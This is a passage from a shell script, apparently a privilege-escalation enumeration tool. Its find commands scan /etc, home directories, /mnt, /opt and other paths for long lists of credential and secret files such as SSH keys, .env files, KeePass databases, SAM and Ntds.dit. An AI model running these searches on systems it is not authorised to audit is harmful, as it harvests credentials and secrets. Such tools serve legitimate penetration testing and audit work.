\"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_ETC=`eval_bckgrd "find /etc -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"*knockd*\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"ssh*config\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_LIB=`eval_bckgrd "find /lib -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_LIB32=`eval_bckgrd "find /lib32 -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_LIB64=`eval_bckgrd "find /lib64 -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_MEDIA=`eval_bckgrd "find /media -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_MNT=`eval_bckgrd "find /mnt -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"sess_*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_OPT=`eval_bckgrd "find /opt -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_PRIVATE=`eval_bckgrd "find /private -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"sess_*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name 